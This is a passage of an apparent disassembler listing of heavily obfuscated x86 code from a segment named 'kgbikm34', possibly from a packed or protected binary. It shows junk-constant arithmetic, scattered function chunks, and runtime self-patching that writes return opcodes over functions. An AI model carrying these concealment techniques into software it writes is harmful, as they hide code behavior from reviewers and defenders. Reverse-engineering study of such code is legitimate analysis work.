loc_43AFEE:				; CODE XREF: sub_44238F:loc_439BB6j
					; sub_439852+29F2j ...
		js	loc_43A39B
		pop	edx
		mov	eax, [esp+0]
		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp+4+var_4]
		jmp	loc_443E34
; END OF FUNCTION CHUNK	FOR sub_439852
; ---------------------------------------------------------------------------

loc_43B003:				; CODE XREF: kgbikm34:0044DCE9j
		setz	al
; START	OF FUNCTION CHUNK FOR sub_44A9BB

loc_43B006:				; CODE XREF: sub_44A9BB+330Ej
		push	offset sub_44D02A
		jmp	nullsub_304
; END OF FUNCTION CHUNK	FOR sub_44A9BB
; ---------------------------------------------------------------------------

locret_43B010:				; CODE XREF: kgbikm34:00446AF6j
		retn
; ---------------------------------------------------------------------------

loc_43B011:				; CODE XREF: kgbikm34:00442C8Fj
		call	sub_4487F2
		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp]

loc_43B01C:				; CODE XREF: kgbikm34:loc_440CD0j
		ror	eax, 0Bh
		jmp	loc_448E7C
; ---------------------------------------------------------------------------

loc_43B024:				; CODE XREF: kgbikm34:0043EBBDj
		jg	loc_44A7FF

loc_43B02A:				; CODE XREF: kgbikm34:loc_43EB95j
		and	eax, 22525AE4h
		add	eax, 2BBF19BCh
		call	sub_44B292
; START	OF FUNCTION CHUNK FOR sub_43CB0F

loc_43B03B:				; CODE XREF: sub_43CB0F+8F93j
		jmp	loc_43BCD8
; END OF FUNCTION CHUNK	FOR sub_43CB0F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442F09

loc_43B040:				; CODE XREF: sub_442F09-3D57j
		jmp	loc_4462D3
; END OF FUNCTION CHUNK	FOR sub_442F09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A406

loc_43B045:				; CODE XREF: sub_44A406:loc_438426j
		jmp	sub_4487F2
; END OF FUNCTION CHUNK	FOR sub_44A406
; ---------------------------------------------------------------------------
		add	ecx, edi
		jmp	sub_44273E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B051	proc near		; CODE XREF: sub_43730F+5p
					; kgbikm34:loc_43A981p	...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00446608 SIZE 0000000A BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		mov	[ebp+var_4], eax
		jmp	loc_446608
sub_43B051	endp

; ---------------------------------------------------------------------------

loc_43B05F:				; CODE XREF: kgbikm34:004447B3j
		jz	loc_438F5D
		jmp	loc_4491BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4458AD

loc_43B06A:				; CODE XREF: sub_4458AD+5j
		pop	eax
		jb	loc_43C286
		mov	eax, [esp+0]
		push	esi
		jmp	loc_44865C
; END OF FUNCTION CHUNK	FOR sub_4458AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_43B07A:				; CODE XREF: sub_44114F:loc_4417E1j
		add	eax, 5435FD2h
		mov	eax, [eax]
		push	ecx
		pushf
		push	0C94A0C0Ch
		pop	ecx
		jmp	loc_4373E2
; END OF FUNCTION CHUNK	FOR sub_44114F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4395CD

loc_43B08F:				; CODE XREF: sub_4395CD+13j
		push	edx
		push	0E2A0683h
		pop	edx
		and	edx, 720DA3BAh
		sub	edx, 0ECAB041Eh
		xor	edx, 0B42136B4h
		xor	eax, edx
		pop	edx
		jmp	loc_4450A1
; END OF FUNCTION CHUNK	FOR sub_4395CD
; ---------------------------------------------------------------------------
		mov	[ecx], edx
		jmp	loc_4394B3

; =============== S U B	R O U T	I N E =======================================



sub_43B0B7	proc near		; CODE XREF: sub_442E25+Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 0043746D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00438B4E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438C47 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00438DEF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043AA08 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B6F2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C708 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043D1D7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043E30E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E47F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043E6B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EE84 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043F23B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F9E0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440E02 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00441773 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441EB8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044382C SIZE 00000028 BYTES
; FUNCTION CHUNK AT 004446EB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044583E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445A6F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00446615 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447D88 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00448502 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448518 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00448F07 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004491F9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044932A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004496F9 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0044AA35 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AB28 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B929 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0044E107 SIZE 0000000D BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_446615
		jmp	loc_43B6F2
sub_43B0B7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43B0CC	proc near		; CODE XREF: kgbikm34:0043F5B9j
					; sub_43DE11:loc_44200Dp

arg_0		= dword	ptr  4

		xchg	edi, [esp+0]
		pop	edi
		push	12DFBA0Ch
		pop	eax
		sub	eax, 0AD14E01Dh
		add	eax, 9A7938BDh
		xchg	eax, [esp-4+arg_0]
		jmp	sub_44B64C
sub_43B0CC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A1A6

loc_43B0EA:				; CODE XREF: sub_44A1A6:loc_4495BBj
		jge	loc_4487B2

loc_43B0F0:				; CODE XREF: sub_446CFB+7j
		jmp	loc_43AAA1
; END OF FUNCTION CHUNK	FOR sub_44A1A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444240

loc_43B0F5:				; CODE XREF: sub_444240-6D13j
		jmp	loc_44555B
; END OF FUNCTION CHUNK	FOR sub_444240
; ---------------------------------------------------------------------------
		jo	loc_43C2D5
		push	55580D81h
		xchg	eax, [esi]
		jge	loc_43C4E6
		jmp	loc_4487B2
; ---------------------------------------------------------------------------

loc_43B112:				; DATA XREF: kgbikm34:0043989Fo
		cmp	ds:dword_437B4C[eax*4],	0
		jz	loc_43CEC5
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0CFh
		jmp	loc_4484E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_43B12B:				; CODE XREF: sub_439587+5F3Dj
		xchg	ebx, [esp+0]
		push	edi
		mov	edi, eax
		xchg	edi, [esp+4+var_4]
		mov	edx, eax
		call	sub_4479B1
		call	sub_44B64C
		jmp	loc_43E7CB
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DAE4

loc_43B145:				; CODE XREF: sub_44DAE4+Aj
		jbe	loc_43E283
		jmp	loc_43DB4C
; END OF FUNCTION CHUNK	FOR sub_44DAE4
; ---------------------------------------------------------------------------

loc_43B150:				; CODE XREF: kgbikm34:0043A005j
		jg	loc_438841

loc_43B156:				; CODE XREF: kgbikm34:loc_4409EDj
		mov	eax, [esp]
		call	sub_44B537

loc_43B15E:				; CODE XREF: kgbikm34:00437007j
					; kgbikm34:loc_438627j
		xchg	eax, [esp]
		mov	edx, eax
		call	sub_4479B1
		xchg	ebx, [esp]
		mov	edx, ebx
		jmp	loc_43C152

; =============== S U B	R O U T	I N E =======================================



sub_43B172	proc near		; CODE XREF: sub_439F72+6869j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043C685 SIZE 0000000E BYTES

		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp+4+var_4]
		ror	eax, 4
		call	sub_44C6F1

loc_43B180:				; CODE XREF: sub_44A6A7+26C1j
		jmp	loc_43C685
sub_43B172	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446129

loc_43B185:				; CODE XREF: sub_446129+Fj
		jmp	loc_4432AB
; END OF FUNCTION CHUNK	FOR sub_446129
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A406

loc_43B18A:				; CODE XREF: sub_44A406-425Dj
		mov	ebp, ecx
		jle	loc_438426
		jmp	loc_44D6A2
; END OF FUNCTION CHUNK	FOR sub_44A406

; =============== S U B	R O U T	I N E =======================================



sub_43B197	proc near		; CODE XREF: kgbikm34:00447970j
					; kgbikm34:0044BFD5p

; FUNCTION CHUNK AT 00439F3F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00444BD7 SIZE 0000000B BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	edx, 9A03B400h
		add	edx, ebp
		add	edx, 0BAD3EBD4h
		jmp	loc_439F3F
sub_43B197	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4394EB

loc_43B1AE:				; CODE XREF: sub_4394EB:loc_43EE5Fj
		or	esi, 0D842C21Bh
		sub	esi, 83589195h
		add	esi, 83C1A282h
		xchg	esi, [esp+4+var_4]
		jmp	sub_4479B1
; END OF FUNCTION CHUNK	FOR sub_4394EB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_278. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442435

loc_43B1C9:				; CODE XREF: sub_442435+5j
		jmp	nullsub_50
; END OF FUNCTION CHUNK	FOR sub_442435
; ---------------------------------------------------------------------------
		sub	edi, ecx
		jmp	loc_448894
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_223. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_43B1D6	proc near		; CODE XREF: sub_44ADC2-1115Cp
					; kgbikm34:00442739j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0043878B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043AD42 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B718 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C157 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CBB4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EC4D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F6C6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F839 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0043FF82 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044214D SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00442BE6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442D90 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044325B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00443380 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443D20 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00444393 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00445A08 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446BD3 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00447B09 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004486C1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448745 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044937D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004496DD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044B282 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B2D6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044C4E5 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044C568 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0044CC78 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044DBF4 SIZE 00000013 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	edi
		add	edi, 4CB24C48h
		jmp	loc_446BD3
sub_43B1D6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D21F

loc_43B1E6:				; CODE XREF: sub_44D21F:loc_446870j
		or	edx, 91798573h
		add	edx, 0A85C4C8Eh
		rol	edx, 4
		add	edx, 0C29D3F50h
		add	eax, edx
		jmp	loc_444EF0
; END OF FUNCTION CHUNK	FOR sub_44D21F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440F62

loc_43B202:				; CODE XREF: sub_440F62+9424j
		mov	edx, eax
; END OF FUNCTION CHUNK	FOR sub_440F62
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_43B204:				; CODE XREF: sub_43C2DA+8j
		call	sub_439BDE

loc_43B209:				; CODE XREF: sub_43F6D0+1766j
		jmp	loc_44A844
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443DAB

loc_43B20E:				; CODE XREF: sub_443DAB:loc_44434Fj
		add	eax, 58C2EE0h
		mov	eax, [eax]
		mov	ecx, [eax]
		add	eax, 4
		jmp	loc_43CED8
; END OF FUNCTION CHUNK	FOR sub_443DAB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BAB7

loc_43B220:				; CODE XREF: sub_44BAB7+Cj
		mov	[ebp-4], eax
		jmp	loc_437AE0
; END OF FUNCTION CHUNK	FOR sub_44BAB7

; =============== S U B	R O U T	I N E =======================================



sub_43B228	proc near		; CODE XREF: sub_43DC9A:loc_43E1B5p
					; sub_43DC9A+1B23p

; FUNCTION CHUNK AT 0043FFAB SIZE 00000005 BYTES

		push	offset sub_440BF9
		jmp	loc_43FFAB
sub_43B228	endp

; ---------------------------------------------------------------------------

locret_43B232:				; CODE XREF: kgbikm34:loc_43C929j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D21F

loc_43B233:				; CODE XREF: sub_44D21F:loc_437772j
		xchg	edi, [esp+0]
		mov	ecx, edi
		pop	edi
		add	ecx, 0A130C064h
		xor	ecx, 211532C7h
		add	ecx, ebp
		jmp	loc_43BAD5
; END OF FUNCTION CHUNK	FOR sub_44D21F
; ---------------------------------------------------------------------------
		or	eax, eax
		jnz	loc_447F8E
		jmp	loc_44AD96
; ---------------------------------------------------------------------------
		mov	ds:off_41E0A8, eax
		lea	eax, sub_440443
		mov	byte ptr [eax],	0C3h
		jmp	loc_43D985

; =============== S U B	R O U T	I N E =======================================



sub_43B26D	proc near		; CODE XREF: sub_41A54C+45p
					; kgbikm34:0043DE7Fj
					; DATA XREF: ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004374B7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DE85 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00440220 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CF90 SIZE 00000023 BYTES

		push	ebx
		mov	ebx, edx
		jmp	loc_4374B7
sub_43B26D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E8DA

loc_43B275:				; CODE XREF: sub_43E8DA-3C7Dj
		jz	loc_43F440
		jmp	loc_43CD54
; END OF FUNCTION CHUNK	FOR sub_43E8DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D78

loc_43B280:				; CODE XREF: sub_449D78-5A09j
		jle	loc_43EB62
		mov	eax, 0E1EEC8EDh

loc_43B28B:				; CODE XREF: sub_449D78:loc_444364j
		add	eax, 19A07C17h
		xor	eax, 3A218087h
		push	ebx
		pushf
		push	5153C003h
		pop	ebx
		jmp	loc_438543
; END OF FUNCTION CHUNK	FOR sub_449D78
; ---------------------------------------------------------------------------

loc_43B2A4:				; CODE XREF: kgbikm34:00443169j
		jz	loc_4411AA
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_43B2AA:				; CODE XREF: sub_44114F+A219j
		jmp	sub_43A4A3
; END OF FUNCTION CHUNK	FOR sub_44114F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A356

loc_43B2AF:				; CODE XREF: sub_44A356+Aj
		jmp	loc_4482E4
; END OF FUNCTION CHUNK	FOR sub_44A356
; ---------------------------------------------------------------------------
		test	ebp, 0A250DEDAh
		jmp	loc_44DEB8
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
dword_43B2C0	dd 0			; DATA XREF: kgbikm34:loc_4465D7r
dword_43B2C4	dd 94680594h, 642E1AA2h	; DATA XREF: sub_43DE11+5o
					; sub_439BDE+71C4o
		db 6Ch,	36h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B2CF	proc near		; CODE XREF: kgbikm34:0043B64Fp
					; sub_43C55C+306p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043C1A6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043D8E6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F914 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00442201 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00442AF8 SIZE 0000001D BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], eax
		jmp	loc_43D8E6
sub_43B2CF	endp

; ---------------------------------------------------------------------------

loc_43B2DB:				; CODE XREF: kgbikm34:loc_4477D2j
		and	edi, 5DB12F8Ch
		or	edi, 4F9F1AE7h
		add	edi, 0B082C211h
		call	sub_43E83D
; START	OF FUNCTION CHUNK FOR sub_439587

loc_43B2F2:				; CODE XREF: sub_439587+10621j
		jmp	loc_43A1D2
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439DCD

loc_43B2F7:				; CODE XREF: sub_439DCD+9E95j
		jmp	loc_447C6A
; END OF FUNCTION CHUNK	FOR sub_439DCD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_338. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439034

loc_43B2FD:				; CODE XREF: sub_439034+13D7Fj
		jmp	loc_43AFB3
; END OF FUNCTION CHUNK	FOR sub_439034
; ---------------------------------------------------------------------------

loc_43B302:				; CODE XREF: kgbikm34:0044D899j
		jl	loc_443FE5
; START	OF FUNCTION CHUNK FOR sub_43B5BA

loc_43B308:				; CODE XREF: sub_43B5BA+C4B5j
		or	edx, 2408918h
		sub	edx, 364BDE0Ah
		add	edx, 6429D655h
		xchg	edx, [esp+0]
		jmp	sub_44BA42
; END OF FUNCTION CHUNK	FOR sub_43B5BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447B31

loc_43B322:				; CODE XREF: sub_447B31:loc_4412DBj
		sub	al, 99h

loc_43B324:				; CODE XREF: sub_447B31:loc_44BA3Aj
		mov	edx, [ebp+var_4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_44BA3A
		jmp	loc_44A84E
; END OF FUNCTION CHUNK	FOR sub_447B31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4396AA

loc_43B336:				; CODE XREF: sub_4396AA+12DE7j
		add	edx, 36A24Dh
		xchg	edx, [esp-4+arg_0]
		jmp	loc_44A0DD
; END OF FUNCTION CHUNK	FOR sub_4396AA
; ---------------------------------------------------------------------------

loc_43B344:				; CODE XREF: kgbikm34:0044265Aj
		pop	ebp
		xor	edx, ebp
		pop	edi
; START	OF FUNCTION CHUNK FOR sub_440E0B

loc_43B348:				; CODE XREF: sub_440E0B:loc_442646j
		xor	edx, 3E1E367h
		call	sub_439B82

loc_43B353:				; CODE XREF: sub_43DC06:loc_44ABB6j
		push	edi
		push	152A64DFh
		pop	edi
		and	edi, ds:4000FAh
		rol	edi, 0Ah
; END OF FUNCTION CHUNK	FOR sub_440E0B
; START	OF FUNCTION CHUNK FOR sub_4479B1

loc_43B363:				; CODE XREF: sub_4479B1:loc_43C878j
		xor	edi, 61B9836Bh
		add	edi, 3B4CC37Bh

loc_43B36F:				; CODE XREF: sub_44B18D:loc_43A388j
		jmp	loc_4497DF
; END OF FUNCTION CHUNK	FOR sub_4479B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439D4B

loc_43B374:				; CODE XREF: sub_439D4B+B430j
		not	ebx
		shr	ebx, 0Bh
		mov	edi, [edx]
		rol	eax, 10h

loc_43B37E:				; CODE XREF: kgbikm34:loc_43C300j
					; kgbikm34:00446921j ...
		jmp	loc_44D54D
; END OF FUNCTION CHUNK	FOR sub_439D4B
; ---------------------------------------------------------------------------

loc_43B383:				; CODE XREF: kgbikm34:0043DB12j
					; kgbikm34:loc_44B258j
		xchg	edi, [esp]
		mov	ecx, edi
		jmp	loc_441C19
; ---------------------------------------------------------------------------

locret_43B38D:				; CODE XREF: kgbikm34:00439060j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B64C

loc_43B38E:				; CODE XREF: sub_44B64C+6j
		jmp	sub_43B400
; END OF FUNCTION CHUNK	FOR sub_44B64C
; ---------------------------------------------------------------------------
		jns	loc_43EAC6
		jmp	sub_440345
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439609

loc_43B39E:				; CODE XREF: sub_439609+E82Ej
		ja	loc_442D69

loc_43B3A4:				; CODE XREF: kgbikm34:00446E83j
		add	edi, 0AB3DDD9h
		xchg	edi, [esp-4+arg_0]
		jmp	sub_43D409
; END OF FUNCTION CHUNK	FOR sub_439609

; =============== S U B	R O U T	I N E =======================================



sub_43B3B2	proc near		; CODE XREF: kgbikm34:0043B7F0j
					; sub_44CA4F-5F3Bp
		xchg	ebx, [esp+0]
		pop	ebx
		mov	[ebx], eax
		call	sub_43A23B
sub_43B3B2	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43ACD5

loc_43B3BD:				; CODE XREF: sub_43ACD5+BE8Cj
		jmp	loc_443F04
; END OF FUNCTION CHUNK	FOR sub_43ACD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4433D8

loc_43B3C2:				; CODE XREF: sub_4433D8-8786j
		jmp	loc_44320F
; END OF FUNCTION CHUNK	FOR sub_4433D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439D12

loc_43B3C7:				; CODE XREF: sub_439D12+18j
		mov	ds:dword_41E14C, eax
		lea	eax, nullsub_184

loc_43B3D3:				; CODE XREF: kgbikm34:004463A6j
		mov	byte ptr [eax],	0C3h
		jmp	loc_44D68A
; END OF FUNCTION CHUNK	FOR sub_439D12
; ---------------------------------------------------------------------------
		call	nullsub_344
		jmp	loc_4374DD
; ---------------------------------------------------------------------------

loc_43B3E5:				; CODE XREF: kgbikm34:0044D501j
		call	sub_43BF6F
		mov	ds:off_41E118, eax
		lea	eax, sub_4458AD
		push	offset loc_43C27E
		jmp	loc_43EC57

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B400	proc near		; CODE XREF: sub_44B64C:loc_43B38Ej

; FUNCTION CHUNK AT 0043E162 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0043E727 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043EA87 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00442430 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448A44 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0044C621 SIZE 0000000C BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_445F68, 0
		jz	loc_448A44
		mov	eax, ds:dword_445F68
		mov	eax, [eax]
		mov	ds:dword_445F74, eax
		jmp	loc_44C621
sub_43B400	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4456B7

loc_43B422:				; CODE XREF: sub_4456B7-26F2j
		jz	loc_444B2B
		add	edx, 612A6621h
		popf
		jmp	loc_444B2B
; END OF FUNCTION CHUNK	FOR sub_4456B7
; ---------------------------------------------------------------------------

loc_43B434:				; CODE XREF: kgbikm34:00442CD2j
		jbe	loc_43E0CF
; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_43B43A:				; CODE XREF: sub_43E4C0-2CBj
		sub	edx, 6C4F634Eh
		and	edx, 26C4FA4h
		sub	edx, 0B45149DFh
		jmp	loc_43EB7C
; END OF FUNCTION CHUNK	FOR sub_43E4C0
; ---------------------------------------------------------------------------

locret_43B451:				; CODE XREF: kgbikm34:loc_44B75Aj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44656B

loc_43B452:				; CODE XREF: sub_44656B-235Dj
		jmp	nullsub_332
; END OF FUNCTION CHUNK	FOR sub_44656B
; ---------------------------------------------------------------------------

loc_43B457:				; CODE XREF: kgbikm34:0044416Fj
		jmp	loc_43D7D6
; ---------------------------------------------------------------------------
		xor	eax, ebx
		jmp	sub_446FDF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_305. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC42

loc_43B464:				; CODE XREF: sub_43DC42+A9A8j
		jmp	loc_4446E0
; END OF FUNCTION CHUNK	FOR sub_43DC42

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B469	proc near		; CODE XREF: sub_43B55B+5p
					; kgbikm34:0043C085p ...
		push	ebp
		mov	ebp, esp
		push	offset loc_43DE44
		jmp	nullsub_25
sub_43B469	endp


; =============== S U B	R O U T	I N E =======================================



sub_43B476	proc near		; CODE XREF: kgbikm34:00441372j
					; sub_444D26:loc_442FE8p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00449382 SIZE 00000005 BYTES

		xchg	edx, [esp+0]

loc_43B479:				; CODE XREF: sub_43B0B7:loc_441EB8j
		pop	edx
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_449382
sub_43B476	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	edi
		jmp	sub_448FE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442340

loc_43B488:				; CODE XREF: sub_442340:loc_43E870j
		mov	eax, 1
		shl	eax, cl
		not	eax
		and	ebx, eax
		call	sub_442435
		jns	loc_44BFA4
		add	ebx, eax
		mov	eax, ds:dword_43A8C4
		jmp	loc_43A2C1
; END OF FUNCTION CHUNK	FOR sub_442340
; ---------------------------------------------------------------------------

loc_43B4AA:				; CODE XREF: kgbikm34:0044AAB6j
		cmp	ecx, edx
		jmp	loc_43E9AF
; ---------------------------------------------------------------------------
		push	edx
		push	447EC2FDh
		pop	edx
		xor	edx, 89D1CD9Fh
		rol	edx, 1Bh
		jmp	loc_43FD94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_43B4C6:				; CODE XREF: kgbikm34:00445CC6j
					; sub_44114F+695Aj
		add	edi, 5AF4082Ah
		xchg	edi, [esp+0Ch+var_C]
		jmp	loc_44AD60
; END OF FUNCTION CHUNK	FOR sub_44114F

; =============== S U B	R O U T	I N E =======================================



sub_43B4D4	proc near		; DATA XREF: kgbikm34:0043D5F7o
		lea	eax, sub_44DA2B
		mov	byte ptr [eax],	0C3h
		jmp	sub_44DA2B
sub_43B4D4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DA2B

loc_43B4E2:				; CODE XREF: sub_4471D6-FD74j
					; sub_44DA2Bj
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_44661D
		mov	eax, 0E5C827FEh
		jmp	loc_437044
; END OF FUNCTION CHUNK	FOR sub_44DA2B
; ---------------------------------------------------------------------------

loc_43B4F6:				; CODE XREF: kgbikm34:0044A032j
		cmp	esi, edx
		jmp	loc_44C1F4
; ---------------------------------------------------------------------------

loc_43B4FD:				; CODE XREF: kgbikm34:0044BC91j
		sub	ebp, 10E2F8F0h
		xor	ecx, edx
		jmp	loc_449F19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_43B50A:				; CODE XREF: sub_4474D5:loc_44053Fj
		cmp	esi, ebx
		jmp	loc_43BA64
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA7A

